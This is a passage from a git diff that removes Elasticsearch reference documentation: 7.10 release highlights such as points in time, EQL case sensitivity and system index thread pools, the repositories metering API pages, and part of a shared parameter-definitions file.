-create the curve.
-
-
-[discrete]
-[[custom-feature-processor-dfa]]
-=== Custom feature processors in {dfanalytics}
-
-Feature processors enable you to extract process features from document fields. 
-You can use these features in model training and model deployment. Custom 
-feature processors provide a mechanism to create features that can be used at 
-search and ingest time and they don’t take up space in the index.
-This process more tightly couples feature generation with the resulting model. 
-The result is simplified model management as both the features and the model can 
-easily follow the same life cycle.
-
-
-[discrete]
-[[points-in-time-for-search]]
-=== Points in time (PITs) for search
-
-In 7.10, we're introducing points in time (PITs), a lightweight way to preserve
-index state over searches. PITs improve end-user experience by making UIs more
-reactive.
-
-By default, a search request waits for complete results before returning a
-response. For example, a search that retrieves top hits and aggregations returns
-a response only after both top hits and aggregations are computed. However,
-aggregations are usually slower and more expensive to compute than top hits.
-Instead of sending a combined request, you can send two separate requests: one
-for top hits and another one for aggregations. With separate search requests, a
-UI can display top hits as soon as they're available and display aggregation
-data after the slower aggregation request completes. You can use a PIT to ensure
-both search requests run on the same data and index state.
-
-To use a PIT in a search, you must first explicitly create the PIT using the new
-{ref}/point-in-time-api.html[open PIT API]. PITs get automatically garbage-collected
-after `keep_alive` if no follow-up request extends their duration.
-
-[source,console]
-----
-POST /my-index-000001/_pit?keep_alive=1m
-----
-// TEST[setup:my_index]
-
-The API returns a PIT ID you can use in search requests. You can also
-configure by how long to extend your PIT's lifespan using the search request's
-`keep_alive` parameter.
-
-[source,console]
-----
-POST /_search
-{
-    "size": 100,
-    "query": {
-        "match" : {
-            "title" : "elasticsearch"
-        }
-    },
-    "pit": {
-	    "id":  "46ToAwMDaWR4BXV1aWQxAgZub2RlXzEAAAAAAAAAAAEBYQNpZHkFdXVpZDIrBm5vZGVfMwAAAAAAAAAAKgFjA2lkeQV1dWlkMioGbm9kZV8yAAAAAAAAAAAMAWICBXV1aWQyAAAFdXVpZDEAAQltYXRjaF9hbGw_gAAAAA==",
-	    "keep_alive": "1m"
-    }
-}
-----
-// TEST[catch:missing]
-
-PITs automatically close when their `keep_alive` period ends. You can
-also manually close PITs you no longer need using the
-{ref}/point-in-time-api.html[close PIT API]. Closing a PIT releases the
-resources needed to maintain the PIT's index state.
-
-[source,console]
-----
-DELETE /_pit
-{
-    "id" : "46ToAwMDaWR4BXV1aWQxAgZub2RlXzEAAAAAAAAAAAEBYQNpZHkFdXVpZDIrBm5vZGVfMwAAAAAAAAAAKgFjA2lkeQV1dWlkMioGbm9kZV8yAAAAAAAAAAAMAWIBBXV1aWQyAAA="
-}
-----
-// TEST[catch:missing]
-
-For more information about using PITs in search, see
-{ref}/paginate-search-results.html#search-after[Paginate search results with
-`search_after`] or the {ref}/point-in-time-api.html[PIT API documentation].
-
-[discrete]
-[[support-for-request-level-circuit-breakers]]
-=== Request-level circuit breakers on coordinating nodes
-
-You can now use a coordinating node to account for memory used to perform
-partial and final reduce of aggregations in the request circuit breaker. The
-search coordinator adds the memory that it used to save and reduce the results
-of shard aggregations in the request circuit breaker. Before any partial or
-final reduce, the memory needed to reduce the aggregations is estimated and a
-CircuitBreakingException is thrown if exceeds the maximum memory allowed in this
-breaker.
-
-This size is estimated as roughly 1.5 times the size of the serialized
-aggregations that need to be reduced. This estimation can be completely off for
-some aggregations but it is corrected with the real size after the reduce
-completes. If the reduce is successful, we update the circuit breaker to remove
-the size of the source aggregations and replace the estimation with the
-serialized size of the newly reduced result.
-
-[discrete]
-[[eql-case-sensitivity-operator]]
-=== EQL: Case-sensitivity and the `:` operator
-
-In 7.10, we made most EQL operators and functions case-sensitive by default.
-We've also added `:`, a new case-insensitive equal operator. Designed for
-security use cases, you can use the `:` operator to search for strings in
-Windows event logs and other event data containing a mix of letter cases.
-
-[source,console]
-----
-GET /my-index-000001/_eql/search
-{
-  "query": """
-    process where process.executable : "c:\\\\windows\\\\system32\\\\cmd.exe"
-  """
-}
-----
-// TEST[setup:sec_logs]
-
-For more information, see the {ref}/eql-syntax.html[EQL
-syntax documentation].
-
-[discrete]
-[[deprecate-rest-api-access-to-system-indices]]
-=== REST API access to system indices is deprecated
-
-We are deprecating REST API access to system indices. Most REST API
-requests that attempt to access system indices will return the following
-deprecation warning:
-
-[source,text]
-----
-this request accesses system indices: [.system_index_name], but in a future
-major version, direct access to system indices will be prevented by default
-----
-
-The following REST API endpoints access system indices as part of their
-implementation and will not return the deprecation warning:
-
-* `GET _cluster/health`
-* `GET {index}/_recovery`
-* `GET _cluster/allocation/explain`
-* `GET _cluster/state`
-* `POST _cluster/reroute`
-* `GET {index}/_stats`
-* `GET {index}/_segments`
-* `GET {index}/_shard_stores`
-* `GET _cat/[indices,aliases,health,recovery,shards,segments]`
-
-We are also adding a new metadata flag to track indices. {es} will automatically
-add this flag to any existing system indices during upgrade.
-
-[discrete]
-[[add-system-read-thread-pool]]
-=== New thread pools for system indices
-
-We've added two new thread pools for system indices: `system_read` and
-`system_write`. These thread pools ensure system indices critical to the Elastic
-Stack, such as those used by security or Kibana, remain responsive when
-a cluster is under heavy query or indexing load.
-
-`system_read` is a `fixed` thread pool used to manage resources for
-read operations targeting system indices. Similarly, `system_write` is a
-`fixed` thread pool used to manage resources for write operations targeting
-system indices. Both have a maximum number of threads equal to `5`
-or half of the available processors, whichever is smaller.
-// end::notable-highlights[]
diff --git a/docs/reference/repositories-metering-api/apis/clear-repositories-metering-archive.asciidoc b/docs/reference/repositories-metering-api/apis/clear-repositories-metering-archive.asciidoc
deleted file mode 100644
index 2a4ff84e2ec..00000000000
--- a/docs/reference/repositories-metering-api/apis/clear-repositories-metering-archive.asciidoc
+++ /dev/null
@@ -1,41 +0,0 @@
-[role="xpack"]
-[testenv="basic"]
-[[clear-repositories-metering-archive-api]]
-=== Clear repositories metering archive
-++++
-<titleabbrev>Clear repositories metering archive</titleabbrev>
-++++
-
-Removes the archived repositories metering information present in the cluster.
-
-[[clear-repositories-metering-archive-api-request]]
-==== {api-request-title}
-
-`DELETE /_nodes/<node_id>/_repositories_metering/<max_version_to_clear>`
-
-[[clear-repositories-metering-archive-ap-prereqs]]
-==== {api-prereq-title}
-
-* If the {es} {security-features} are enabled, you must have the `monitor` or
-`manage` <<privileges-list-cluster,cluster privilege>> to use this API.
-
-[[clear-repositories-metering-archive-api-desc]]
-==== {api-description-title}
-
-You can use this API to clear the archived repositories metering information in the cluster.
-
-[[clear-repositories-metering-archive-api-path-params]]
-==== {api-path-parms-title}
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=node-id]
-
-`<max_version_to_clear>`::
-    (long) Specifies the maximum <<get-repositories-metering-api-response-body, archive_version>> to be cleared from the archive.
-
-All the nodes selective options are explained <<cluster-nodes,here>>.
-[role="child_attributes"]
-[[clear-repositories-metering-archive-api-response-body]]
-==== {api-response-body-title}
-Returns the deleted archived repositories metering information.
-
-include::{es-repo-dir}/repositories-metering-api/apis/repositories-meterings-body.asciidoc[tag=repositories-metering-body]
diff --git a/docs/reference/repositories-metering-api/apis/get-repositories-metering.asciidoc b/docs/reference/repositories-metering-api/apis/get-repositories-metering.asciidoc
deleted file mode 100644
index 86b2a61e3e9..00000000000
--- a/docs/reference/repositories-metering-api/apis/get-repositories-metering.asciidoc
+++ /dev/null
@@ -1,41 +0,0 @@
-[role="xpack"]
-[testenv="basic"]
-[[get-repositories-metering-api]]
-=== Get repositories metering information
-++++
-<titleabbrev>Get repositories metering information</titleabbrev>
-++++
-
-Returns cluster repositories metering information.
-
-[[get-repositories-metering-api-request]]
-==== {api-request-title}
-
-`GET /_nodes/<node_id>/_repositories_metering`
-
-[[get-repositories-metering-api-prereqs]]
-==== {api-prereq-title}
-
-* If the {es} {security-features} are enabled, you must have the `monitor` or
-`manage` <<privileges-list-cluster,cluster privilege>> to use this API.
-
-[[get-repositories-metering-api-desc]]
-==== {api-description-title}
-
-You can use the cluster repositories metering API to retrieve repositories metering information in a cluster.
-
-This API exposes monotonically non-decreasing counters and it's expected that clients would durably store
-the information needed to compute aggregations over a period of time. Additionally, the information
-exposed by this API is volatile, meaning that it won't be present after node restarts.
-
-[[get-repositories-metering-api-path-params]]
-==== {api-path-parms-title}
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=node-id]
-
-All the nodes selective options are explained <<cluster-nodes,here>>.
-
-[role="child_attributes"]
-[[get-repositories-metering-api-response-body]]
-==== {api-response-body-title}
-include::{es-repo-dir}/repositories-metering-api/apis/repositories-meterings-body.asciidoc[tag=repositories-metering-body]
diff --git a/docs/reference/repositories-metering-api/apis/repositories-meterings-body.asciidoc b/docs/reference/repositories-metering-api/apis/repositories-meterings-body.asciidoc
deleted file mode 100644
index c92c0311f81..00000000000
--- a/docs/reference/repositories-metering-api/apis/repositories-meterings-body.asciidoc
+++ /dev/null
@@ -1,178 +0,0 @@
-tag::repositories-metering-body[]
-`_nodes`::
-(object)
-Contains statistics about the number of nodes selected by the request.
-+
-.Properties of `_nodes`
-[%collapsible%open]
-====
-`total`::
-(integer)
-Total number of nodes selected by the request.
-
-`successful`::
-(integer)
-Number of nodes that responded successfully to the request.
-
-`failed`::
-(integer)
-Number of nodes that rejected the request or failed to respond. If this value
-is not `0`, a reason for the rejection or failure is included in the response.
-====
-
-`cluster_name`::
-(string)
-Name of the cluster. Based on the <<cluster-name>> setting.
-
-`nodes`::
-(object)
-Contains repositories metering information for the nodes selected by the request.
-+
-.Properties of `nodes`
-[%collapsible%open]
-====
-`<node_id>`::
-(array)
-An array of repository metering information for the node.
-+
-.Properties of objects in `node_id`
-[%collapsible%open]
-=====
-`repository_name`::
-(string)
-Repository name.
-
-`repository_type`::
-(string)
-Repository type.
-
-`repository_location`::
-(object)
-Represents an unique location within the repository.
-+
-.Properties of `repository_location` for repository type `Azure`
-[%collapsible%open]
-======
-`base_path`::
-(string)
-The path within the container where the repository stores data.
-
-`container`::
-(string)
-Container name.
-======
-+
-.Properties of `repository_location` for repository type `GCP`
-[%collapsible%open]
-======
-`base_path`::
-(string)
-The path within the bucket where the repository stores data.
-
-`bucket`::
-(string)
-Bucket name.
-======
-+
-.Properties of `repository_location` for repository type `S3`
-[%collapsible%open]
-======
-`base_path`::
-(string)
-The path within the bucket where the repository stores data.
-
-`bucket`::
-(string)
-Bucket name.
-======
-`repository_ephemeral_id`::
-(string)
-An identifier that changes every time the repository is updated.
-
-`repository_started_at`::
-(long)
-Time the repository was created or updated. Recorded in milliseconds
-since the https://en.wikipedia.org/wiki/Unix_time[Unix Epoch].
-
-`repository_stopped_at`::
-(Optional, long)
-Time the repository was deleted or updated. Recorded in milliseconds
-since the https://en.wikipedia.org/wiki/Unix_time[Unix Epoch].
-
-`archived`::
-(Boolean)
-A flag that tells whether or not this object has been archived.
-When a repository is closed or updated the repository metering information
-is archived and kept for a certain period of time. This allows retrieving
-the repository metering information of previous repository instantiations.
-
-`archive_version`::
-(Optional, long)
-The cluster state version when this object was archived, this field
-can be used as a logical timestamp to delete all the archived metrics up
-to an observed version. This field is only present for archived
-repository metering information objects. The main purpose of this
-field is to avoid possible race conditions during repository metering
-information deletions, i.e. deleting archived repositories metering
-information that we haven't observed yet.
-
-`request_counts`::
-(object)
-An object with the number of request performed against the repository
-grouped by request type.
-+
-.Properties of `request_counts` for repository type `Azure`
-[%collapsible%open]
-======
-`GetBlobProperties`::
-(long) Number of https://docs.microsoft.com/en-us/rest/api/storageservices/get-blob-properties[Get Blob Properties] requests.
-`GetBlob`::
-(long) Number of https://docs.microsoft.com/en-us/rest/api/storageservices/get-blob[Get Blob] requests.
-`ListBlobs`::
-(long) Number of https://docs.microsoft.com/en-us/rest/api/storageservices/list-blobs[List Blobs] requests.
-`PutBlob`::
-(long) Number of https://docs.microsoft.com/en-us/rest/api/storageservices/put-blob[Put Blob] requests.
-`PutBlock`::
-(long) Number of https://docs.microsoft.com/en-us/rest/api/storageservices/put-block[Put Block].
-`PutBlockList`::
-(long) Number of https://docs.microsoft.com/en-us/rest/api/storageservices/put-block-list[Put Block List] requests.
-
-Azure storage https://azure.microsoft.com/en-us/pricing/details/storage/blobs/[pricing].
-======
-+
-.Properties of `request_counts` for repository type `GCP`
-[%collapsible%open]
-======
-`GetObject`::
-(long) Number of https://cloud.google.com/storage/docs/json_api/v1/objects/get[get object] requests.
-`ListObjects`::
-(long) Number of https://cloud.google.com/storage/docs/json_api/v1/objects/list[list objects] requests.
-`InsertObject`::
-(long) Number of https://cloud.google.com/storage/docs/json_api/v1/objects/insert[insert object] requests,
-including https://cloud.google.com/storage/docs/uploading-objects[simple], https://cloud.google.com/storage/docs/json_api/v1/how-tos/multipart-upload[multipart] and
-https://cloud.google.com/storage/docs/resumable-uploads[resumable] uploads. Resumable uploads can perform multiple http requests to
-insert a single object but they are considered as a single request since they are https://cloud.google.com/storage/docs/resumable-uploads#introduction[billed] as an individual operation.
-
-Google Cloud storage https://cloud.google.com/storage/pricing[pricing].
-======
-+
-.Properties of `request_counts` for repository type `S3`
-[%collapsible%open]
-======
-`GetObject`::
-(long) Number of https://docs.aws.amazon.com/AmazonS3/latest/API/API_GetObject.html[GetObject] requests.
-`ListObjects`::
-(long) Number of https://docs.aws.amazon.com/AmazonS3/latest/API/API_ListObjects.html[ListObjects] requests.
-`PutObject`::
-(long) Number of https://docs.aws.amazon.com/AmazonS3/latest/API/API_PutObject.html[PutObject] requests.
-`PutMultipartObject`::
-(long) Number of https://docs.aws.amazon.com/AmazonS3/latest/dev/mpuoverview.html[Multipart] requests,
-including https://docs.aws.amazon.com/AmazonS3/latest/API/API_CreateMultipartUpload.html[CreateMultipartUpload],
-https://docs.aws.amazon.com/AmazonS3/latest/API/API_UploadPart.html[UploadPart] and https://docs.aws.amazon.com/AmazonS3/latest/API/API_CompleteMultipartUpload.html[CompleteMultipartUpload]
-requests.
-
-Amazon Web Services Simple Storage Service https://aws.amazon.com/s3/pricing/[pricing].
-======
-=====
-====
-end::repositories-metering-body[]
diff --git a/docs/reference/repositories-metering-api/repositories-metering-apis.asciidoc b/docs/reference/repositories-metering-api/repositories-metering-apis.asciidoc
deleted file mode 100644
index 7d6a0b8da0a..00000000000
--- a/docs/reference/repositories-metering-api/repositories-metering-apis.asciidoc
+++ /dev/null
@@ -1,16 +0,0 @@
-[role="xpack"]
-[testenv="basic"]
-[[repositories-metering-apis]]
-== Repositories metering APIs
-
-experimental[]
-
-You can use the following APIs to retrieve repositories metering information.
-
-This is an API used by Elastic's commercial offerings.
-
-* <<get-repositories-metering-api,Get repositories metering information>>
-* <<clear-repositories-metering-archive-api,Clear repositories metering archive>>
-
-include::apis/get-repositories-metering.asciidoc[]
-include::apis/clear-repositories-metering-archive.asciidoc[]
diff --git a/docs/reference/rest-api/common-parms.asciidoc b/docs/reference/rest-api/common-parms.asciidoc
deleted file mode 100644
index d615b28470d..00000000000
--- a/docs/reference/rest-api/common-parms.asciidoc
+++ /dev/null
@@ -1,1102 +0,0 @@
-
-
-tag::actions[]
-`actions`::
-+
---
-(Optional, string)
-Comma-separated list or wildcard expression
-of actions used to limit the request.
-
-Omit this parameter to return all actions.
---
-end::actions[]
-
-tag::active-only[]
-`active_only`::
-(Optional, Boolean)
-If `true`,
-the response only includes ongoing shard recoveries.
-Defaults to `false`.
-end::active-only[]
-
-tag::index-alias[]
-Comma-separated list or wildcard expression of index alias names
-used to limit the request.
-end::index-alias[]
-
-tag::aliases[]
-`aliases`::
-(Optional, <<indices-aliases,alias object>>) Index aliases which include the
-index. See <<indices-aliases>>.
-end::aliases[]
-
-tag::index-alias-filter[]
-<<query-dsl-bool-query, Filter query>>
-used to limit the index alias.
-+
-If specified,
-the index alias only applies to documents returned by the filter.
-end::index-alias-filter[]
-
-tag::target-index-aliases[]
-`aliases`::
-(Optional, <<indices-aliases,alias object>>)
-Index aliases which include the target index.
-See <<indices-aliases>>.
-end::target-index-aliases[]
-
-tag::allow-no-indices[]
-`allow_no_indices`::
-(Optional, Boolean)
-If `false`, the request returns an error if any wildcard expression,
-<<indices-aliases,index alias>>, or `_all` value targets only missing or closed
-indices. This behavior applies even if the request targets other open indices.
-For example, a request targeting `foo*,bar*` returns an error if an index
-starts with `foo` but no index starts with `bar`.
-end::allow-no-indices[]
-
-tag::allow-no-match-transforms1[]
-Specifies what to do when the request:
-+
---
-* Contains wildcard expressions and there are no {transforms} that match.
-* Contains the `_all` string or no identifiers and there are no matches.
-* Contains wildcard expressions and there are only partial matches.
-
-The default value is `true`, which returns an empty `transforms` array when
-there are no matches and the subset of results when there are partial matches.
-
-If this parameter is `false`, the request returns a `404` status code when there
-are no matches or only partial matches.
---
-end::allow-no-match-transforms1[]
-
-tag::allow-no-match-transforms2[]
-Specifies what to do when the request:
-+
---
-* Contains wildcard expressions and there are no {transforms} that match.
-* Contains the `_all` string or no identifiers and there are no matches.
-* Contains wildcard expressions and there are only partial matches.
-
-The default value is `true`, which returns a successful acknowledgement message
-when there are no matches. When there are only partial matches, the API stops
-the appropriate {transforms}. For example, if the request contains
-`test-id1*,test-id2*` as the identifiers and there are no {transforms}
-that match `test-id2*`, the API nonetheless stops the {transforms}
-that match `test-id1*`.
-
-If this parameter is `false`, the request returns a `404` status code when there
-are no matches or only partial matches.
---
-end::allow-no-match-transforms2[]
-
-tag::analyzer[]
-`analyzer`::
-(Optional, string) Analyzer to use for the query string.
-end::analyzer[]
-
-tag::analyze_wildcard[]
-`analyze_wildcard`::
-(Optional, Boolean) If `true`, wildcard and prefix queries are
-analyzed. Defaults to `false`.
-end::analyze_wildcard[]
-
-tag::bytes[]
-`bytes`::
-(Optional, <<byte-units,byte size units>>) Unit used to display byte values.
-end::bytes[]
-
-tag::checkpointing-changes-last-detected-at[]
-The timestamp when changes were last detected in the source indices.
-end::checkpointing-changes-last-detected-at[]
-
-tag::cluster-health-status[]
-(string)
-Health status of the cluster, based on the state of its primary and replica
-shards. Statuses are:
-
-  `green`:::
-  All shards are assigned.
-
-  `yellow`:::
-  All primary shards are assigned, but one or more replica shards are
-  unassigned. If a node in the cluster fails, some
-  data could be unavailable until that node is repaired.
-
-  `red`:::
-  One or more primary shards are unassigned, so some data is unavailable. This
-  can occur briefly during cluster startup as primary shards are assigned.
-end::cluster-health-status[]
-
-tag::committed[]
-If `true`,
-the segments is synced to disk. Segments that are synced can survive a hard reboot.
-+
-If `false`,
-the data from uncommitted segments is also stored in
-the transaction log so that Elasticsearch is able to replay
-changes on the next start.
-end::committed[]
-
-tag::completion-fields[]
-`completion_fields`::
-(Optional, string)
-Comma-separated list or wildcard expressions of fields
-to include in `fielddata` and `suggest` statistics.
-end::completion-fields[]
-
-tag::default_operator[]
-`default_operator`::
-(Optional, string) The default operator for query string query: AND or OR.
-Defaults to `OR`.
-end::default_operator[]
-
-tag::dest[]
-The destination for the {transform}.
-end::dest[]
-
-tag::dest-index[]
-The _destination index_ for the {transform}. The mappings of the destination 
-index are deduced based on the source fields when possible. If alternate 
-mappings are required, use the 
-https://www.elastic.co/guide/en/elasticsearch/reference/current/indices-create-index.html[Create index API] 
-prior to starting the {transform}.
-end::dest-index[]
-
-tag::dest-pipeline[]
-The unique identifier for a <<pipeline,pipeline>>.
-end::dest-pipeline[]
-
-tag::detailed[]
-`detailed`::
-(Optional, Boolean)
-If `true`,
-the response includes detailed information about shard recoveries.
-Defaults to `false`.
-end::detailed[]
-
-tag::df[]
-`df`::
-(Optional, string) Field to use as default where no field prefix is
-given in the query string.
-end::df[]
-
-tag::docs-count[]
-The number of documents as reported by Lucene. This excludes deleted documents
-and counts any <<nested,nested documents>> separately from their parents. It
-also excludes documents which were indexed recently and do not yet belong to a
-segment.
-end::docs-count[]
-
-tag::docs-deleted[]
-The number of deleted documents as reported by Lucene, which may be higher or
-lower than the number of delete operations you have performed. This number
-excludes deletes that were performed recently and do not yet belong to a
-segment. Deleted documents are cleaned up by the
-<<index-modules-merge,automatic merge process>> if it makes sense to do so.
-Also, {es} creates extra deleted documents to internally track the recent
-history of operations on a shard.
-end::docs-deleted[]
-
-tag::docs-indexed[]
-The number of documents that have been indexed into the destination index
-for the {transform}.
-end::docs-indexed[]
-
-tag::docs-processed[]
-The number of documents that have been processed from the source index of
-the {transform}.
-end::docs-processed[]
-
-tag::enrich-policy[]
-Enrich policy name
-used to limit the request.
-end::enrich-policy[]
-
-tag::expand-wildcards[]
-`expand_wildcards`::
-+
---
-(Optional, string) Controls what kind of indices that wildcard expressions can
-expand to. Multiple values are accepted when separated by a comma, as in
-`open,hidden`. Valid values are:
-
-`all`::
-Expand to open and closed indices, including <<hidden-indices,hidden indices>>.
-
-`open`::
-Expand only to open indices.
-
-`closed`::
-Expand only to closed indices.
-
-`hidden`::
-Expansion of wildcards will include hidden indices.
-Must be combined with `open`, `closed`, or both.
-
-`none`::
-Wildcard expressions are not accepted.
---
-end::expand-wildcards[]
-
-tag::exponential-avg-checkpoint-duration-ms[]
-Exponential moving average of the duration of the checkpoint, in milliseconds.
-end::exponential-avg-checkpoint-duration-ms[]
-
-tag::exponential-avg-documents-indexed[]
-Exponential moving average of the number of new documents that have been
-indexed.
-end::exponential-avg-documents-indexed[]
-
-tag::exponential-avg-documents-processed[]
-Exponential moving average of the number of documents that have been
-processed.
-end::exponential-avg-documents-processed[]
-
-tag::field_statistics[]
-`field_statistics`::
-(Optional, Boolean) If `true`, the response includes the document count, sum of document frequencies,
-and sum of total term frequencies.
-Defaults to `true`.
-end::field_statistics[]
-
-tag::fielddata-fields[]
-`fielddata_fields`::
-(Optional, string)
-Comma-separated list or wildcard expressions of fields
-to include in `fielddata` statistics.
-end::fielddata-fields[]
-
-tag::fields[]
-`fields`::
-+
---
-(Optional, string)
-Comma-separated list or wildcard expressions of fields
-to include in the statistics.
-
-Used as the default list
-unless a specific field list is provided
-in the `completion_fields` or `fielddata_fields` parameters.
---
-end::fields[]
-
-tag::index-alias-filter[]
-<<query-dsl-bool-query, Filter query>>
-used to limit the index alias.
-+
-If specified,
-the index alias only applies to documents returned by the filter.
-end::index-alias-filter[]
-
-tag::flat-settings[]
-`flat_settings`::
-(Optional, Boolean) If `true`, returns settings in flat format. Defaults to
-`false`.
-end::flat-settings[]
-
-tag::generation[]
-Generation number, such as `0`. {es} increments this generation number
-for each segment written. {es} then uses this number to derive the segment name.
-end::generation[]
-
-tag::http-format[]
-`format`::
-(Optional, string) Short version of the
-https://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html[HTTP accept header].
-Valid values include JSON, YAML, etc.
-end::http-format[]
-
-tag::frequency[]
-The interval between checks for changes in the source indices when the
-{transform} is running continuously. Also determines the retry interval in the
-event of transient failures while the {transform} is searching or indexing. The
-minimum value is `1s` and the maximum is `1h`. The default value is `1m`.
-end::frequency[]
-
-tag::from[]
-`from`::
-(Optional, integer) Starting document offset. Defaults to `0`.
-end::from[]
-
-tag::from-transforms[]
-Skips the specified number of {transforms}. The default value is `0`.
-end::from-transforms[]
-
-tag::generation[]
-Generation number, such as `0`. {es} increments this generation number
-for each segment written. {es} then uses this number to derive the segment name.
-end::generation[]
-
-tag::group-by[]
-`group_by`::
-+
---
-(Optional, string)
-Key used to group tasks in the response.
-
-Possible values are:
-
-`nodes`::
-(Default)
-Node ID
-
-`parents`::
-Parent task ID
-
-`none`::
-Do not group tasks.
---
-end::group-by[]
-
-tag::groups[]
-`groups`::
-(Optional, string)
-Comma-separated list of search groups
-to include in the `search` statistics.
-end::groups[]
-
-tag::cat-h[]
-`h`::
-(Optional, string) Comma-separated list of column names to display.
-end::cat-h[]
-
-tag::help[]
-`help`::
-(Optional, Boolean) If `true`, the response includes help information. Defaults
-to `false`.
-end::help[]
-
-tag::bulk-id[]
-`_id`::
-(Optional, string)
-The document ID.
-If no ID is specified, a document ID is automatically generated.
-end::bulk-id[]
-
-tag::if_primary_term[]
-`if_primary_term`::
-(Optional, integer) Only perform the operation if the document has
-this primary term. See <<optimistic-concurrency-control-index>>.
-end::if_primary_term[]
-
-tag::if_seq_no[]
-`if_seq_no`::
-(Optional, integer) Only perform the operation if the document has this
-sequence number. See <<optimistic-concurrency-control-index>>.
-end::if_seq_no[]
-
-tag::ignore_throttled[]
-`ignore_throttled`::
-(Optional, Boolean) If `true`, concrete, expanded or aliased indices are
-ignored when frozen. Defaults to `true`.
-end::ignore_throttled[]
-
-tag::index-ignore-unavailable[]
-`ignore_unavailable`::
-(Optional, Boolean) If `true`, missing or closed indices are not included in the
-response. Defaults to `false`.
-end::index-ignore-unavailable[]
-
-tag::include-defaults[]
-`include_defaults`::
-(Optional, string) If `true`, return all default settings in the response.
-Defaults to `false`.
-end::include-defaults[]
-
-tag::include-segment-file-sizes[]
-`include_segment_file_sizes`::
-(Optional, Boolean)
-If `true`, the call reports the aggregated disk usage of
-each one  of the Lucene index files (only applies if segment stats are
-requested). Defaults to `false`.
-end::include-segment-file-sizes[]
-
-tag::include-type-name[]
-`include_type_name`::
-deprecated:[7.0.0, Mapping types have been deprecated. See <<removal-of-types>>.]
-(Optional, boolean) If `true`, a mapping type is expected in the body of
-mappings. Defaults to `false`.
-end::include-type-name[]
-
-tag::include-unloaded-segments[]
-`include_unloaded_segments`::
-(Optional, Boolean) If `true`, the response includes information from segments
-that are **not** loaded into memory. Defaults to `false`.
-end::include-unloaded-segments[]
-
-tag::index-query-parm[]
-`index`::
-(Optional, string)
-Comma-separated list or wildcard expression of index names
-used to limit the request.
-end::index-query-parm[]
-
-tag::index[]
-`<index>`::
-(Optional, string) Comma-separated list or wildcard expression of index names
-used to limit the request.
-end::index[]
-
-tag::index-failures[]
-The number of indexing failures.
-end::index-failures[]
-
-tag::index-time-ms[]
-The amount of time spent indexing, in milliseconds.
-end::index-time-ms[]
-
-tag::index-total[]
-The number of indices created.
-end::index-total[]
-
-tag::bulk-index[]
-`_index`::
-(Optional, string)
-Name of the data stream, index, or index alias to perform the action on. This
-parameter is required if a `<target>` is not specified in the request path.
-end::bulk-index[]
-
-tag::index-metric[]
-`<index-metric>`::
-+
---
-(Optional, string)
-Comma-separated list of metrics used to limit the request.
-Supported metrics are:
-
-`_all`::
-Return all statistics.
-
-`completion`::
-<<completion-suggester,Completion suggester>> statistics.
-
-`docs`::
-Number of documents and deleted docs, which have not yet merged out.
-<<indices-refresh,Index refreshes>> can affect this statistic.
-
-`fielddata`::
-<<fielddata,Fielddata>> statistics.
-
-`flush`::
-<<indices-flush,Flush>> statistics.
-
-`get`::
-Get statistics,
-including missing stats.
-
-`indexing`::
-<<docs-index_,Indexing>> statistics.
-
-`merge`::
-<<index-modules-merge,Merge>> statistics.
-
-`query_cache`::
-<<query-cache,Query cache>> statistics.
-
-`refresh`::
-<<indices-refresh,Refresh>> statistics.
-
-`request_cache`::
-<<shard-request-cache,Shard request cache>> statistics.
-
-`search`::
-Search statistics including suggest statistics.
-You can include statistics for custom groups
-by adding an extra `groups` parameter
-(search operations can be associated with one or more groups).
-The `groups` parameter accepts a comma separated list of group names.
-Use `_all` to return statistics for all groups.
-
-`segments`::
-Memory use of all open segments.
-+
-If the `include_segment_file_sizes` parameter is `true`,
-this metric includes the aggregated disk usage
-of each Lucene index file.
-
-`store`::
-Size of the index in <<byte-units, byte units>>.
-
-`suggest`::
-<<search-suggesters,Suggester>> statistics.
-
-`translog`::
-<<index-modules-translog,Translog>> statistics.
-
-`warmer`::
-<<indices-warmers,Warmer>> statistics.
---
-end::index-metric[]
-
-tag::index-template[]
-`<index-template>`::
-(Required, string)
-Comma-separated list of index template names used to limit the request. Wildcard
-(`*`) expressions are supported.
-end::index-template[]
-
-tag::component-template[]
-`<component-template>`::
-(Required, string)
-Comma-separated list or wildcard expression of component template names
-used to limit the request.
-end::component-template[]
-
-tag::lenient[]
-`lenient`::
-(Optional, Boolean) If `true`, format-based query failures (such as
-providing text to a numeric field) will be ignored. Defaults to `false`.
-end::lenient[]
-
-tag::level[]
-`level`::
-+
---
-(Optional, string)
-Indicates whether statistics are aggregated
-at the cluster, index, or shard level.
-
-Valid values are:
-
-*   `cluster`
-*   `indices`
-*   `shards`
---
-end::level[]
-
-tag::local[]
-`local`::
-(Optional, Boolean) If `true`, the request retrieves information from the local
-node only. Defaults to `false`, which means information is retrieved from
-the master node.
-end::local[]
-
-tag::mappings[]
-`mappings`::
-+
---
-(Optional, <<mapping,mapping object>>) Mapping for fields in the index. If
-specified, this mapping can include:
-
-* Field names
-* <<mapping-types,Field data types>>
-* <<mapping-params,Mapping parameters>>
-
-See <<mapping>>.
---
-end::mappings[]
-
-tag::max_docs[]
-`max_docs`::
-(Optional, integer) Maximum number of documents to process. Defaults to all
-documents.
-end::max_docs[]
-
-tag::memory[]
-Bytes of segment data stored in memory for efficient search,
-such as `1264`.
-+
-A value of `-1` indicates {es} was unable to compute this number.
-end::memory[]
-
-tag::bulk-require-alias[]
-`require_alias`::
-(Optional, Boolean)
-If `true`, the action must target an <<indices-aliases,index alias>>. Defaults
-to `false`.
-end::bulk-require-alias[]
-
-tag::require-alias[]
-`require_alias`::
-(Optional, Boolean)
-If `true`, the destination must be an <<indices-aliases,index alias>>. Defaults to
-`false`.
-end::require-alias[]
-
-tag::node-filter[]
-`<node_filter>`::
-(Optional, string)
-Comma-separated list of <<cluster-nodes,node filters>> used to limit returned
-information. Defaults to all nodes in the cluster.
-end::node-filter[]
-
-tag::node-id[]
-`<node_id>`::
-(Optional, string) Comma-separated list of node IDs or names used to limit
-returned information.
-end::node-id[]
-
-tag::node-id-query-parm[]
-`node_id`::
-(Optional, string)
-Comma-separated list of node IDs or names
-used to limit returned information.
-end::node-id-query-parm[]
-
-tag::offsets[]
-`<offsets>`::
-(Optional, Boolean) If `true`, the response includes term offsets.
-Defaults to `true`.
-end::offsets[]
-
-tag::parent-task-id[]
-`parent_task_id`::
-+
---
-(Optional, string)
-Parent task ID
-used to limit returned information.
-
-To return all tasks,
-omit this parameter
-or use a value of `-1`.
---
-end::parent-task-id[]
-
-tag::payloads[]
